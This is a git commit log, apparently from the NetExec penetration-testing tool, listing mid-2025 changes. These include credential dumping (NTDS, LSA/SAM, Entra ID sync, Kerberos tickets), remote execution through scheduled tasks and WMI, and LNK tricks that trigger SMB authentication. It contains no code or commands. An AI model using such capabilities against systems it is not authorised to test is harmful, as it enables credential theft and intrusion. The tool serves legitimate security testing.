Kahvi-0xFF 5514bfe05c fresh schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:47:59 -04:00
tiagomanunes d3832931b8 Merge branch 'main' into module-usercredman 2025-08-06 09:10:00 +01:00
E1A ed4f6f4858 Merge branch 'main' of github.com:E1A/NetExec 2025-08-06 09:52:48 +02:00
E1A a44fa60223 format expected descriptions as plain string in output 2025-08-06 09:52:40 +02:00
E1A 5a5a5b5756 Merge branch 'main' into main 2025-08-06 09:41:50 +02:00
E1A a5fa60b62a Fixed support for Win server 2008 and multiple descriptions 2025-08-06 09:40:43 +02:00
Kahvi-0xFF a754149025 Merge branch 'main' into main 2025-08-06 00:35:11 -04:00
Alex 84d8f108c9 Merge pull request #845 from Pennyw0rth/neff-revert-#729
Revert "Merge pull request #729 from haytechy/refactor_SMBSpider"
2025-08-05 22:38:25 +02:00
Alexander Neff 74e49abf28 Revert "Merge pull request #729 from haytechy/refactor_SMBSpider"
This reverts commit 4137704a06, reversing
changes made to e11898b182.
2025-08-05 16:25:22 -04:00
Kahvi-0xFF b8ce69480d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:06:29 -04:00
Kahvi-0xFF e663fb83d8 Merge branch 'main' into main
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:04:57 -04:00
Alex e7799212b5 Merge pull request #844 from Pennyw0rth/neff-fix-dpapi
Fix dpapi
2025-08-05 20:32:59 +02:00
Alexander Neff 65be28dc19 Readd no_da var to fix dpapi with local admin 2025-08-05 14:18:29 -04:00
Alex 49d04493e3 Merge pull request #841 from x-ticker/patch-1
Fixed typo in smb.py
2025-08-05 15:51:51 +02:00
ticker 6debc5fb49 Typo in smb print_host_info
It was printing "domin" instead of "domain"

Signed-off-by: ticker <[email protected]>
2025-08-04 21:20:14 -04:00
Kahvi-0xFF 4ae11640c3 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:37:21 -04:00
Kahvi-0xFF 24ac21d513 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:32 -04:00
Kahvi-0xFF aa8ee61a7b Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:04 -04:00
Kahvi-0xFF ecd54323bf Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:18:29 -04:00
Kahvi-0xFF c8de6fe76f Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:17:18 -04:00
Alex 24dc0879b9 Merge branch 'main' into module-usercredman 2025-08-04 18:42:41 +02:00
Alex 3c8bb13117 Merge pull request #838 from Pennyw0rth/neff-linting
Add 'Warning' rule to linting
2025-08-04 18:32:53 +02:00
E1A 5a53fcab93 Merge branch 'main' of github.com:E1A/NetExec 2025-08-04 16:23:11 +02:00
E1A d1d0864002 Added and removed lock screen executables
Changed context.log.fail to context.log.highlight when if tampered = true
2025-08-04 16:23:02 +02:00
Alexander Neff 8ec8830e81 Linting 2025-08-04 09:40:55 -04:00
Alex 03dfe7f23c Merge branch 'main' into neff-linting 2025-08-04 14:54:34 +02:00
tiagomanunes c90270e25d Merge branch 'main' into module-usercredman 2025-08-04 13:28:32 +01:00
Xed cb6891b787 Merge branch 'main' into drop_library_ms 2025-08-04 11:36:49 +02:00
E1A 3a0f1c90e5 Merge branch 'main' into main 2025-08-04 09:57:38 +02:00
E1A 324dc0ccdd Fixed issues for PR 2025-08-04 09:57:04 +02:00
Alex 8ca5874260 Merge pull request #818 from Dfte/schtask_refactor
Rework atexec and -M schtask_as to rely on a single TSCH_EXEC class
2025-08-03 17:12:41 +02:00
Alexander Neff 172bddbb4c Autofix ruff whitepsaces 2025-08-02 12:39:44 -04:00
Alexander Neff bb788a484e Autofix ruff whitepsaces 2025-08-02 12:37:45 -04:00
E1A ac0e0c4a29 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 18:31:03 +02:00
E1A c67d43310c Added lockscreendoors 2025-08-02 18:30:56 +02:00
Alexander Neff 21f6031129 Add 'Warning' rule 2025-08-02 12:30:47 -04:00
Alexander Neff 70922c5b85 Group session enumeration args 2025-08-02 12:23:24 -04:00
E1A de03b9b163 Merge branch 'Pennyw0rth:main' into main 2025-08-02 18:08:08 +02:00
E1A 5f23eadc3a ruff changes 2025-08-02 18:07:53 +02:00
Alex 97838b466c Merge pull request #832 from tiagomanunes/improve-daclread-targetdn-from-file
Improve daclread: also allow passing a file for TARGET_DN, and refactor
2025-08-02 18:04:45 +02:00
Alexander Neff eb33458e46 For unexpected errors inform user and make exception handling more specific 2025-08-02 12:02:34 -04:00
E1A 1f96460b01 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 17:55:10 +02:00
E1A 60c3afd20d added credits 2025-08-02 17:53:52 +02:00
Alexander Neff 6c07fa8641 Convert while loop to for loop 2025-08-02 11:53:30 -04:00
E1A 3ca1987d6b Merge branch 'Pennyw0rth:main' into main 2025-08-02 17:51:48 +02:00
E1A b792021223 Added the lockscreendoors module 2025-08-02 17:51:23 +02:00
Alexander Neff 34e7d9f0ce Linting 2025-08-02 11:48:34 -04:00
Alexander Neff 2124866551 Fix python escaping Syntax warning 2025-08-02 11:42:21 -04:00
Alexander Neff e2c1e820c7 Reduce code lines 2025-08-02 11:41:45 -04:00
Alex b1faef4cfa Merge pull request #836 from Pennyw0rth/neff-add-null-auth
Add null-auth info to host banner
2025-08-02 17:31:08 +02:00
Alexander Neff 4522f00d6e Add comment 2025-08-02 11:24:23 -04:00
Alexander Neff e1c5271f43 Remove unused imports 2025-08-02 10:18:59 -04:00
Alexander Neff da54a7f5b3 Add comments and small formatting 2025-08-02 10:18:42 -04:00
Alexander Neff cc268f0e0a Remove unused lines 2025-08-02 10:18:29 -04:00
Alexander Neff 49e80169fd Add null-auth info to host banner 2025-08-02 08:26:13 -04:00
tiagomanunes 9a16a4fce4 Merge branch 'main' into improve-daclread-targetdn-from-file 2025-08-02 10:18:48 +01:00
tiagomanunes 68b2fe04a3 Merge branch 'main' into module-usercredman 2025-08-02 10:16:43 +01:00
MaxToffy 61f6ee1074 Less verbose output and fix formating 2025-08-01 16:17:59 +02:00
gatari 65fe159168 added newline for ruff compliance
Signed-off-by: gatari <[email protected]>
2025-08-01 21:38:13 +08:00
Marshall Hallenbeck 4137704a06 Merge pull request #729 from haytechy/refactor_SMBSpider
Refactor smb spider
2025-07-31 16:33:39 -04:00
Marshall Hallenbeck 4104caa5e8 Merge branch 'main' into refactor_SMBSpider 2025-07-31 16:25:25 -04:00
Marshall Hallenbeck e11898b182 Merge pull request #835 from Pennyw0rth/marshall-add-awesome-contributors
docs(contributors): add termanix and dfte to awesome contributors
2025-07-31 14:43:46 -04:00
Marshall Hallenbeck f4c199e1cc docs(contributors): add termanix and dfte to awesome contributors
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-31 14:22:13 -04:00
Tiago Nunes ba0c461aa2 Minor ruff 2025-07-31 16:12:13 +02:00
Tiago Nunes db68c1303b Clean up module option assignment and defaults 2025-07-31 16:07:16 +02:00
Tiago Nunes 8d432a5074 Small fixes: use format strings and built-in open(), lint unused variables 2025-07-31 15:57:43 +02:00
gatari 25e9586ace added documentation for options 2025-07-31 07:41:25 -04:00
gatari 5566578daf added support for dumping kerberos tickets 2025-07-31 07:32:09 -04:00
Mickey De Baets 49c89dbca6 Merge branch 'main' into main 2025-07-30 14:02:14 +02:00
Tiago Nunes 3d3b41de62 Use self.context consistently 2025-07-30 12:55:39 +02:00
Tiago Nunes dce281dfba More instance variables turned into local variables, and passed down the stack 2025-07-30 12:50:22 +02:00
Tiago Nunes 4d96ee6d52 Continue parsing targets if any are not found, instead of stopping 2025-07-30 12:44:24 +02:00
Tiago Nunes 78d691be12 Turn backup filename into local variable 2025-07-30 12:38:56 +02:00
Tiago Nunes 02dbcbdc5d Also allow passing a file for TARGET_DN. Refactor to reduce duplication and complexity. 2025-07-30 11:59:08 +02:00
Alex d0827bb78c Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-07-29 21:02:55 +01:00
tiagomanunes a53faf3c6a Merge branch 'main' into module-usercredman 2025-07-29 11:30:19 +01:00
theuser 904769658d Add tests for ntds-dump-raw module 2025-07-28 17:28:44 +04:00
theuser d0f23b9dda Fix cannot import name 'delete_workspace' from 'nxc.nxcdb' error 2025-07-28 17:28:27 +04:00
Alex 714c44bac8 Merge pull request #828 from 0xb11a1/add-lsa-ntds-dump-raw
Add TARGET option to ntds-dump-raw to dump LSA/SAM hashes
2025-07-28 13:15:45 +02:00
Alexander Neff fedca6bcfb Remove unnecessary function and formatting 2025-07-28 07:13:00 -04:00
gatari f2361e27d6 changed --store-st to --generate-st 2025-07-28 05:47:06 -04:00
gatari 57a06d0612 added --delegate-spn flag 2025-07-28 05:38:30 -04:00
tiagomanunes 31ec2eeffc Merge branch 'main' into module-usercredman 2025-07-27 13:27:46 +01:00
theuser 1d9b50210f Add TARGET option to ntds-dump-raw to dump LSA/SAM hashes 2025-07-26 19:21:27 +04:00
gatari 96e4a306b7 sname bug fix 2025-07-25 05:30:22 -04:00
gatari 8ce7e2fe2a added --store-st flag 2025-07-25 05:30:04 -04:00
MaxToffy 8b78206f72 ruff formating 2025-07-25 11:08:16 +02:00
MaxToffy ab255aa9f4 Fix formating after user filtering 2025-07-25 11:03:35 +02:00
MaxToffy 3648ac579d Add --reg-sessions option for SMB 2025-07-25 10:24:01 +02:00
Alex a8183f8851 Merge pull request #821 from Pennyw0rth/neff-add-wmi-ntds-dump-raw
Add WMI to ntds_dump_raw module
2025-07-24 15:34:41 +02:00
Alex 2befb3a99f Merge branch 'main' into neff-add-wmi-ntds-dump-raw 2025-07-24 15:26:53 +02:00
Alex 19a54d5aba Merge pull request #820 from Pennyw0rth/neff-fix-wmi
Refactor WMI protocol execution
2025-07-24 15:25:22 +02:00
Alexander Neff 65d3723e7b Remove string from testing, also increase characters for registry path 2025-07-24 09:21:39 -04:00
Alexander Neff 9ebac0f5df Enable dump for wmi with powershell execution 2025-07-24 08:56:23 -04:00
tiagomanunes 09fd370ecf Merge branch 'main' into module-usercredman 2025-07-24 08:51:39 +01:00
Alexander Neff b717f30629 Bug fixes for when the command already starts with 'powershell ...' 2025-07-23 18:38:24 -04:00
Alexander Neff af822e597a Add -X for powershell execution 2025-07-23 18:05:22 -04:00
Alexander Neff cb3564117d Add powershell command execution method instead of using powershell in normal exec 2025-07-23 15:34:04 -04:00
Alexander Neff 64aa7c05ab Remove print statement 2025-07-23 09:41:59 -04:00
Alexander Neff 917dcb505e Clean up after retrieving files and dynamically try 10s to get the output in case stuff takes time 2025-07-23 09:30:31 -04:00
Alexander Neff bab59de4bf Optimize execution speed 2025-07-23 08:56:39 -04:00
Alexander Neff e192f3cbb8 Split result output into 16KB chunks because that is the max value for registry keys 2025-07-23 07:53:15 -04:00
Aurélien CHALOT 5933a08f33 Remove print 2025-07-23 13:32:54 +02:00
Aurélien CHALOT 897fe67d72 Rework atexec and -M schtask_as to rely on a single TSCH_EXEC class 2025-07-23 13:30:23 +02:00
Alexander Neff 188ef13c87 Encode to b64 with powershell and not certutil 2025-07-23 06:15:01 -04:00
Alex a4d54d1673 Merge pull request #468 from 0xb11a1/raw-ntds-copy
Add raw-ntds-copy module
2025-07-22 18:26:43 +02:00
Alex 7328c08182 Merge pull request #805 from termanix/patch-2
Update LDAP find-computer Module
2025-07-21 17:02:23 +02:00
Alexander Neff 36573e393e Linting 2025-07-21 10:57:15 -04:00
Alexander Neff 86b74efd43 Improve module description 2025-07-21 10:52:24 -04:00
termanix 253d8ab93b removed exception handling
Signed-off-by: termanix <[email protected]>
2025-07-21 17:38:18 +03:00
tiagomanunes e60b47f88c Merge branch 'main' into module-usercredman 2025-07-21 12:20:36 +01:00
Alex 776b84af85 Merge pull request #812 from Pennyw0rth/neff-fix-wmi
Fix command execution in wmi
2025-07-21 11:11:21 +02:00
Alex ed7db99fab Merge pull request #813 from termanix/terman-fix
Fix NFS Network Value
2025-07-21 09:58:22 +02:00
termanix 96a8ed2d02 fix group_names if returns empty 2025-07-21 03:36:24 -04:00
Alex 4e8d65093b Merge pull request #811 from Pennyw0rth/neff-fix-daclread
Add ldap parsing to daclread
2025-07-20 20:05:17 +02:00
Alexander Neff ffa46360a7 Execute each command seperatly so files are still deleted when previous commands fail 2025-07-20 14:04:52 -04:00
Alexander Neff 50edae4df1 Fix command execution in modules with output but no line printing 2025-07-20 14:02:34 -04:00
Alexander Neff 37de88547e Linting 2025-07-20 14:01:14 -04:00
Alexander Neff 8892b6a5d8 Fix winrm execution 2025-07-20 13:58:35 -04:00
Alexander Neff 985a9880e0 Remove unused function 2025-07-20 08:22:35 -04:00
Alexander Neff 477940e6ff Add ldap parsing to user info function 2025-07-20 08:21:25 -04:00
Alexander Neff 644298ecce Add ldap parsing to sid resolv function 2025-07-20 08:16:05 -04:00
Alexander Neff e4095ce851 Replace manual parsing with ldap parser and remove duplicate code 2025-07-20 08:08:04 -04:00
Alexander Neff bdfd869c94 Add searchControls to search function 2025-07-20 08:05:10 -04:00
Alexander Neff 8cb93db83c Fix file as target 2025-07-20 08:04:56 -04:00
Alexander Neff c43a64c03f Rename module from raw-ntds-copy to ntds-dump-raw 2025-07-20 07:35:54 -04:00
Alexander Neff aa8b1fd97b Add debug logging for exceptions 2025-07-20 07:30:03 -04:00
Alexander Neff 788ba90b97 Move powershell script to file instead of b64 inline 2025-07-19 12:57:43 -04:00
Alexander Neff f7fa1fa1b4 Formatting 2025-07-19 08:24:15 -04:00
Alex 0b5aebd402 Merge branch 'main' into raw-ntds-copy 2025-07-19 14:06:14 +02:00
Alex 858d211417 Merge pull request #800 from Geetub/slinky_set_lnk_target
Slinky set lnk target
2025-07-19 13:24:59 +02:00
Geetub d6fcee6c80 Merge branch 'main' into slinky_set_lnk_target 2025-07-19 13:00:49 +03:00
theuser aa7f6d07b8 Merge branch 'raw-ntds-copy' of github.com:0xb11a1/NetExec into raw-ntds-copy 2025-07-19 13:50:41 +04:00
theuser 2bff24a3ff Code cleanup, remove unnecessary debug information and add comments 2025-07-19 13:42:23 +04:00
termanix f1d39a6e8a DNS resolver change to with connection object 2025-07-18 10:53:21 -04:00
termanix a0fb0f4cca Merge branch 'main' into patch-2 2025-07-18 17:50:01 +03:00
tiagomanunes d063f53b1e Merge branch 'main' into module-usercredman 2025-07-18 09:35:30 +01:00
Tiago Nunes e65303aad6 Ignore dump_method flag 2025-07-18 08:19:43 +02:00
Alex e99e5c244c Merge pull request #808 from Pennyw0rth/neff-fix-veeam
Fix veeam script if there is no salt reg key
2025-07-17 18:21:12 +02:00
Alexander Neff 44624b703c Fix veeam script if there is no salt reg key 2025-07-17 11:43:46 -04:00
Tiago Nunes 6140b3ffdd Bring back the credits 2025-07-17 13:16:37 +02:00
Mickey De Baets edc399736f Merge branch 'main' into main
Signed-off-by: Mickey De Baets <[email protected]>
2025-07-17 12:48:37 +02:00
Tiago Nunes 9614685d2d Move functionality from module into winrm protocol 2025-07-17 12:42:49 +02:00
tiagomanunes 2b7d8abbbe Merge branch 'main' into module-usercredman 2025-07-17 10:55:37 +01:00
mpgn da949f1875 Merge pull request #804 from Pennyw0rth/hosts
Removing the horrible multiple hosts option
2025-07-17 00:15:58 +02:00
mpgn 95cd4f3383 Merge pull request #798 from Pennyw0rth/pso
Switch pso module to core feature
2025-07-17 00:15:41 +02:00
azoxlpf baa735192a add to the e2e tests 2025-07-16 21:53:23 +02:00
termanix e3f7168858 IP resolver change to with DNS query 2025-07-16 12:41:13 -04:00
mpgn e70aaa54c4 fix ruff 2025-07-16 17:36:00 +02:00
Alex 8d53bb5873 Merge pull request #803 from Pennyw0rth/neff-fix-get-network
Refactor get-network and fix encoding
2025-07-16 17:29:52 +02:00
Alexander Neff 753a773043 Remove undocumented option and unique IPs if only IPs are returned 2025-07-16 11:13:00 -04:00
Alexander Neff a565676ea5 Remove check for Record type 'A' which would filter all other 2025-07-16 11:02:19 -04:00
Alexander Neff 6515b0da1a Remove unused functions and imports 2025-07-16 10:44:14 -04:00
Alexander Neff a44389c17b Add correct ldap parsing 2025-07-16 10:42:38 -04:00
mpgn 4dd479a956 remove blank line 2025-07-16 16:25:49 +02:00
mpgn 95e7cdfc9f remove the horrible multiple hosts option 2025-07-16 16:22:04 +02:00
Geetub 0565e4e176 Use ico extension as target
Signed-off-by: Geetub <[email protected]>
2025-07-16 12:51:23 +03:00
Geetub b974d3d67c Use .exe as target
Use .exe as target, since it triggers an SMB query also on Windows Explorer "Details view".

Signed-off-by: Geetub <[email protected]>
2025-07-16 12:08:54 +03:00
mpgn 217adf3a8f add clipboard delay 2025-07-16 09:40:30 +02:00
mpgn 2d0bd8e443 add parsed 2025-07-16 09:33:48 +02:00
mpgn c174e87237 fix search 2025-07-15 23:50:39 +02:00
Geetub d5e6e6d6f3 Use pylnk3.for_file() to set LNK target.
Signed-off-by: Geetub <[email protected]>
2025-07-16 00:14:27 +03:00
mpgn ea525f987f readd missing function 2025-07-15 18:34:13 +02:00
mpgn 6bf9b8acb3 fix ruff 2025-07-15 18:30:08 +02:00
mpgn 9c68f76b73 update test 2025-07-15 18:28:08 +02:00
mpgn 0c967f2b95 fix ruff 2025-07-15 18:27:11 +02:00
mpgn f32dd56fb3 switch pso module to core feature 2025-07-15 18:22:30 +02:00
mpgn 11d484b268 Merge pull request #788 from Pennyw0rth/opsec 2025-07-15 12:03:18 +02:00
Alex 5c2afa9623 Merge branch 'main' into raw-ntds-copy 2025-07-15 00:21:19 +02:00
Alex 8f973b1000 Merge pull request #764 from Pennyw0rth/neff-add-entra-id-sync-extractor 2025-07-14 16:47:34 +02:00
Marshall Hallenbeck 4b37669bda Merge pull request #794 from Pennyw0rth/Marshall-Hallenbeck-update-pr-template
docs: add deprecation change type and clarify e2e tests checklist
2025-07-14 09:18:15 -04:00
Alexander Neff b2503951ab Remove opsec flags of new modules 2025-07-14 08:18:40 -04:00
Alex 46f6dada23 Merge branch 'main' into opsec 2025-07-14 14:17:25 +02:00
Alexander Neff f2cef11e04 Add new ps1 script for extraction 2025-07-14 08:04:48 -04:00
Alexander Neff 0a8ada49f8 Replace msol module with the new entra-id module 2025-07-14 08:04:25 -04:00
Alex 266c6714aa Merge pull request #556 from crosscutsaw/dump-computers
new module: ldap > dump-computers
2025-07-14 13:53:18 +02:00
Alexander Neff e259128ead Linting 2025-07-14 07:50:46 -04:00
Alexander Neff 0eb65ed347 Add e2e test 2025-07-14 07:49:02 -04:00
Alexander Neff 239cc80516 As there have to be computers in a domain (at least the DC) don't check if there are anwsers 2025-07-14 07:48:28 -04:00
Alexander Neff 234b41efa5 Simplify logic 2025-07-14 07:45:02 -04:00
Alexander Neff 8b3bc6b89a Fix description 2025-07-14 07:40:57 -04:00
Alex 3a7b04f83f Merge branch 'main' into dump-computers 2025-07-14 13:39:18 +02:00
crosscutsaw 16a65d4c26 Update dump-computers.py
Signed-off-by: crosscutsaw <[email protected]>
2025-07-14 12:59:07 +03:00
Tiago Nunes 3f1d663121 Add winrm modules to e2e tests 2025-07-14 10:35:59 +02:00
tiagomanunes 32e8603411 Merge branch 'main' into module-usercredman 2025-07-14 09:28:49 +01:00
Marshall Hallenbeck c465d67806 Merge branch 'main' into Marshall-Hallenbeck-update-pr-template 2025-07-13 19:39:46 -04:00
Marshall Hallenbeck 9566b0d31e Merge pull request #795 from Pennyw0rth/Marshall-please-update-your-version
add huge disclaimer to issue template
2025-07-13 19:37:57 -04:00
Marshall Hallenbeck 9d6939a7b1 try to get peoples attention even more
idea of @NeffIsBack 

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 19:04:42 -04:00
Alex b2aac4e5af Merge pull request #701 from fpreynaud/wcc_llmnr
[WCC] Improve NBTNS check and add LLMNR check
2025-07-14 00:43:52 +02:00
mpgn 472be5aa36 add more verbosity 2025-07-13 23:45:49 +02:00
mpgn 92206c8143 fix output check 2025-07-13 23:41:47 +02:00
Marshall Hallenbeck 2522ee19df add huge disclaimer to issue template
users continuously post issues that have already been resolved, I hope this massive disclaimer will cut down on that

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 17:24:33 -04:00
Marshall Hallenbeck 9ad951c781 Merge branch 'main' into opsec 2025-07-13 16:14:51 -04:00
Marshall Hallenbeck 22712d6b36 docs: clarify how to fill in checklists
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:06:11 -04:00
Marshall Hallenbeck a57d1db4f4 docs: add deprecation change type and clarify e2e tests checklist
If we deprecate something, we should have a type of change checkbox (not every deprecation is breaking)
People are adding features and modules without adding them to the e2e tests

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:00:08 -04:00
Alex 97049a06bd Merge pull request #789 from azoxlpf/fix/get-sid-kcache
fix(ldap): support get-sid and admin flag when using --use-kcache
2025-07-13 21:12:11 +02:00
theuser e51aa58475 Move raw-ntds-copy to a module 2025-07-13 14:26:11 +04:00
azoxlpf d9197c6e9f add raisechild.py 2025-07-12 22:54:09 +02:00
azoxlpf 70463e54a6 fix(ldap): support get-sid and admin flag when using --use-kcache 2025-07-12 21:38:36 +02:00
Alex 68e36dc8ed Merge pull request #769 from sepauli/add-info-field
Add get-info-users module
2025-07-10 23:49:15 +02:00
Alexander Neff 5dd82ffe2d Apply formatting for better readability 2025-07-10 17:45:53 -04:00
Alexander Neff 443a87bf95 Simplify logic 2025-07-10 17:43:23 -04:00
Alexander Neff b9827e5b65 Formatting, remove unused imports and small code improvements 2025-07-10 17:33:53 -04:00
Alex fc71ef81ad Merge pull request #783 from Dfte/qwinsta_grep
Allows --qwinsta to filter for a specific user
2025-07-10 23:07:08 +02:00
Alexander Neff b7d8eeb2bc Merge branch 'main' into qwinsta_grep 2025-07-10 17:04:52 -04:00
Alexander Neff 6796ffaf63 Set empty string as default not boolean 2025-07-10 17:01:46 -04:00
Alexander Neff d60f5b8fad Add comments 2025-07-10 17:00:45 -04:00
Alexander Neff 7f294ae65a Remove already imported os 2025-07-10 15:52:14 -04:00
Alexander Neff 7b6ca4e9dc Fix format string in template 2025-07-10 15:51:38 -04:00
tiagomanunes 718a38d639 Merge branch 'main' into module-usercredman 2025-07-10 19:43:51 +01:00
Alex 7ab386f55d Merge pull request #787 from Dfte/fix_shares_filter
Patches the --filter-shares so that it correctly finds READ,WRITE perm
2025-07-10 01:40:06 +02:00
Alexander Neff 67d8e9ec6c Remove const otherwise the default filter is READ,WRITE 2025-07-09 19:36:06 -04:00
mpgn 1d80c40d05 Merge pull request #784 from azoxlpf/fix/kerberos-ridbrute-spn
setRemoteName to avoid Kerberos SPN resolution error in rid_brute
2025-07-08 00:10:02 +02:00
mpgn aa17bbc32a fix test 2025-07-08 00:04:28 +02:00
mpgn 0f62ca59cd better catch and add no output option 2025-07-07 23:05:04 +02:00
mpgn f17f091d6b use clipboard to get the result of the command 2025-07-07 20:28:13 +02:00
azoxlpf 3c521b750e Fix indentation 2025-07-07 12:53:03 +02:00
azoxlpf 45760c1031 Fix 2025-07-07 12:50:41 +02:00
Aurélien CHALOT adbf4f5926 Remove useless blank line 2025-07-07 12:21:38 +02:00
Aurélien CHALOT 3cdc648073 Remove log.fail messages 2025-07-07 12:20:29 +02:00
Aurélien CHALOT 9049e58252 Remove log.fail messages 2025-07-07 12:01:42 +02:00
FaganAfandiyev 8459d608c8 Remove [HISTORY] in output and add e2e tests 2025-07-07 05:52:55 -04:00
mpgn 246e7e5d27 remove the horrible opsec flag 2025-07-07 11:26:06 +02:00
mpgn aa6e504aa5 remove the horrible opsec flag 2025-07-07 11:22:25 +02:00
Aurélien CHALOT 3549ce5e76 Lower permission checks, merge both options into --shares and add deprecation warning 2025-07-07 10:41:30 +02:00
Alex 638c10145a Merge pull request #782 from Dfte/tasklist_grep
Add process filtering in --tasklist
2025-07-06 21:31:52 +02:00
Aurélien CHALOT e6ce6da442 Patches the --filter-shares so that it correctly finds READ,WRITE perm 2025-07-06 20:27:16 +02:00
azoxlpf ec66078bc2 setRemoteName to avoid Kerberos SPN resolution error in rid_brute 2025-07-06 19:34:44 +02:00
Sebastian Pauli db93f5b026 add change requests
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-05 19:05:24 +02:00
Alexander Neff bfcc73541f Merge branch 'main' into tasklist-filter 2025-07-05 12:06:43 -04:00
Alex dc239dad22 Merge pull request #779 from Dfte/add_taskkill
Add the taskkill option
2025-07-05 18:05:04 +02:00
Alexander Neff c1dfefd2a1 Use build in exception traceback instead of traceback.format_exc 2025-07-05 10:50:25 -04:00
Alexander Neff 1865d420cf Allow grep like searching 2025-07-05 10:35:25 -04:00
Alexander Neff 2505be41ee Remove spaces 2025-07-05 10:26:05 -04:00
Alexander Neff 8cd6447ca1 Use format strings 2025-07-05 10:25:51 -04:00
Aurélien CHALOT 1c262fe6ff Update so that it supports passing a file with usernames 2025-07-05 14:56:58 +02:00
Aurélien CHALOT 2febbf654c Updates qwinsta 2025-07-05 10:21:48 +02:00
Aurélien CHALOT b01d410fd6 Updates tasklist 2025-07-05 10:00:39 +02:00
Alex 991f871b49 Merge pull request #777 from Dfte/patch_qwinsta_tasklist
Patch --qwinsta --tasklist stack trace
2025-07-04 22:03:14 +02:00
Aurélien CHALOT ed4e4a1e3e Add the taskkill option 2025-07-04 18:30:33 +02:00
Aurélien CHALOT 9e8ae0364d Patch --qwinsta --tasklist stack trace 2025-07-04 15:32:01 +02:00
Alex bbca423a1e Merge pull request #763 from Pennyw0rth/neff-add-entry-id-finder
Add module to find the entra-id sync server
2025-07-03 18:56:05 +02:00
Alex f9358078cd Merge pull request #774 from Powett/patch-1
Update bitlocker.py - Corrected BitLocker EncryptionMethods
2025-07-03 18:30:32 +02:00
Alex 70e3fc8a81 Merge pull request #775 from Pennyw0rth/neff-patch-1
State that using a BINARY for schtask_as is optional
2025-07-03 18:14:52 +02:00
Alexander Neff ac15a720d4 State that using a BINARY for schtask_as is optional 2025-07-03 12:10:25 -04:00
Alex 1b620c0d16 Merge pull request #735 from kaisersource/patch-1
Image size improvements and pinned Netexec version
2025-07-03 17:41:13 +02:00
Alexander Neff 20d6e319dc Add info log message to get the raw info of the found entra id related accounts 2025-07-03 11:38:40 -04:00
Powett fdb5608fed Update bitlocker.py - Corrected BitLocker EncryptionMethods
According to https://learn.microsoft.com/en-us/windows/win32/secprov/win32-encryptablevolume, the correct mapping is as follows.

Signed-off-by: Powett <[email protected]>
2025-07-03 16:37:36 +02:00
mpgn b0263cb93b Merge pull request #773 from azoxlpf/fix/smb-error-coloring
fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta
2025-07-02 22:39:16 +02:00
azoxlpf 01c2bd5508 fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta 2025-07-02 22:20:30 +02:00
Alex 3bccec9839 Merge pull request #772 from Pennyw0rth/neff-fix-pre2k
Only display success message if accounts found
2025-07-02 21:40:33 +02:00
Alexander Neff 67e21e177e Only display success message if accounts found 2025-07-02 15:14:29 -04:00
Mickey De Baets 25600ad5df Merge branch 'main' into main 2025-07-02 13:34:13 +02:00
Sebastian Pauli 1a4ea1eb37 fix poetry checks
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 19:26:27 +02:00
Sebastian Pauli 39e8e6e264 create get-info-users
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 18:53:32 +02:00
Tiago Nunes 952e2cfadd First release candidate of usercredman module for winrm 2025-07-01 14:25:51 +02:00
Alex c1b04216d1 Merge pull request #767 from tiagomanunes/bugfix-winrm-ps_execute 2025-07-01 10:24:33 +02:00
Alex e4754628d1 Merge pull request #766 from v3gahax/main 2025-07-01 10:22:43 +02:00
Tiago Nunes 8db4ba446a Fix winrm's ps_execute() to return output 2025-07-01 09:00:22 +02:00
v3ga 3db348e262 Update wcc.py
Corrected typos in wcc.py

Signed-off-by: v3ga <[email protected]>
2025-06-30 19:09:13 -07:00
Alexander Neff 915faa2564 Add disclaimer, that the Entra ID sync service is probably not installed on the target 2025-06-30 06:31:03 -04:00
Alexander Neff d56be12d17 Highlight the IP address 2025-06-30 06:18:05 -04:00
mpgn 29a437938c Merge pull request #765 from azoxlpf/Fix/TGS-REP
fix hashcat/John format for TGS-REP
2025-06-30 10:57:35 +02:00
azoxlpf 4c0ebf0b1e fix hashcat/John format for TGS-REP 2025-06-30 10:38:55 +02:00
Alexander Neff e1136f681c Formatting 2025-06-29 19:38:44 -04:00
Alexander Neff ce157470a1 Finish entry-sync-creds module 2025-06-29 19:38:35 -04:00
Alexander Neff 48a0e5e3f2 Heavily reduce ps script length to fit in limit 2025-06-29 19:38:18 -04:00
Alexander Neff dc2d748b6e Typo 2025-06-29 17:26:09 -04:00
Alexander Neff ec2f4cc500 Rename typo in filename 2025-06-29 17:22:59 -04:00
Alexander Neff 665b77d5e6 Add semi working Extractor script for entra id creds 2025-06-29 17:21:18 -04:00
Alexander Neff 23bee813b7 Remove unnecessary host info and formatting 2025-06-29 11:53:56 -04:00
Alexander Neff 8415e25698 Init module to extract entry id sync credentials 2025-06-29 11:43:47 -04:00
Alexander Neff e2a7d5c597 Add module to find the entra-id sync server 2025-06-29 11:42:58 -04:00
zblurx d28b11df42 Merge pull request #760 from Pennyw0rth/enum_links_fix
Fix enum_links module privilege requirement
2025-06-26 18:37:24 +02:00
zblurx 716ddf2ca0 fix enum_links module privilege requirement 2025-06-26 17:07:41 +02:00
FaganAfandiyev d80568056b Add --history option for NTDS 2025-06-25 16:14:59 -04:00
mpgn dea04c9664 Merge pull request #756 from Pennyw0rth/preauth 2025-06-25 08:22:23 +02:00
